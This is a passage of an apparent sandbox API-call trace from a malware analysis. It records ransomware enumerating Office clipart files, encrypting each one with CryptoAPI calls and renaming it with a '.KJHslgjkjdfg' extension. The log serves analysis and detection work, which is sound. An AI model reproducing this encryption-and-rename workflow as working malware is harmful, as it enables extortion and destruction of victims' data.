lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.816] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.817] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.817] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.817] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.817] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.817] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.817] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.817] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.817] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x17c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x17c4, lpOverlapped=0x0) returned 1 [0185.818] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17d0, dwBufLen=0x17d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17d0) returned 1 [0185.819] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.819] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x17d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x17d0, lpOverlapped=0x0) returned 1 [0185.819] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.819] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x18a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.819] SetEndOfFile (hFile=0x114) returned 1 [0185.821] GetProcessHeap () returned 0x2a0000 [0185.821] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.821] GetProcessHeap () returned 0x2a0000 [0185.821] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.821] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf.kjhslgjkjdfg")) returned 1 [0185.823] CloseHandle (hObject=0x114) returned 1 [0185.823] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02368_.WMF", cAlternateFileName="")) returned 1 [0185.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.825] GetProcessHeap () returned 0x2a0000 [0185.825] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.825] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.825] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.825] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.833] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.833] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.833] GetProcessHeap () returned 0x2a0000 [0185.833] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.833] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.834] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.834] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.834] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.834] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.834] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.834] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.834] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.834] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.834] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.834] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.834] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd28, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd28, lpOverlapped=0x0) returned 1 [0185.834] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd30, dwBufLen=0xd30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd30) returned 1 [0185.834] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.835] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd30, lpOverlapped=0x0) returned 1 [0185.835] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.835] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.835] SetEndOfFile (hFile=0x114) returned 1 [0185.837] GetProcessHeap () returned 0x2a0000 [0185.837] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.837] GetProcessHeap () returned 0x2a0000 [0185.837] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf.kjhslgjkjdfg")) returned 1 [0185.839] CloseHandle (hObject=0x114) returned 1 [0185.839] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02371_.WMF", cAlternateFileName="")) returned 1 [0185.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.840] GetProcessHeap () returned 0x2a0000 [0185.840] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.840] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.840] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.858] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.858] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.858] GetProcessHeap () returned 0x2a0000 [0185.858] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.858] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.858] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.858] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.858] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.858] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.858] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.858] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.858] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.858] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.859] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc74, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc74, lpOverlapped=0x0) returned 1 [0185.859] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc80, dwBufLen=0xc80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc80) returned 1 [0185.859] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.859] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc80, lpOverlapped=0x0) returned 1 [0185.859] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.859] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.859] SetEndOfFile (hFile=0x114) returned 1 [0185.862] GetProcessHeap () returned 0x2a0000 [0185.862] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.862] GetProcessHeap () returned 0x2a0000 [0185.862] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf.kjhslgjkjdfg")) returned 1 [0185.864] CloseHandle (hObject=0x114) returned 1 [0185.864] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02373_.WMF", cAlternateFileName="")) returned 1 [0185.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.865] GetProcessHeap () returned 0x2a0000 [0185.865] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.865] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.865] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.865] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.867] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.867] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.867] GetProcessHeap () returned 0x2a0000 [0185.867] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.867] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.867] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.867] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.867] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.868] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.868] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.868] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.868] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.868] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.868] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xcec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xcec, lpOverlapped=0x0) returned 1 [0185.868] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcf0) returned 1 [0185.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.868] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xcf0, lpOverlapped=0x0) returned 1 [0185.868] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xdc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.868] SetEndOfFile (hFile=0x114) returned 1 [0185.873] GetProcessHeap () returned 0x2a0000 [0185.873] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.873] GetProcessHeap () returned 0x2a0000 [0185.873] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.873] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf.kjhslgjkjdfg")) returned 1 [0185.874] CloseHandle (hObject=0x114) returned 1 [0185.875] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02384_.WMF", cAlternateFileName="")) returned 1 [0185.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.876] GetProcessHeap () returned 0x2a0000 [0185.876] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.876] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.876] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.876] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.879] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.879] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.879] GetProcessHeap () returned 0x2a0000 [0185.879] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.879] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.880] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.880] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.880] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.880] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.880] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.880] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.880] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.880] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.880] CryptSetKeyParam 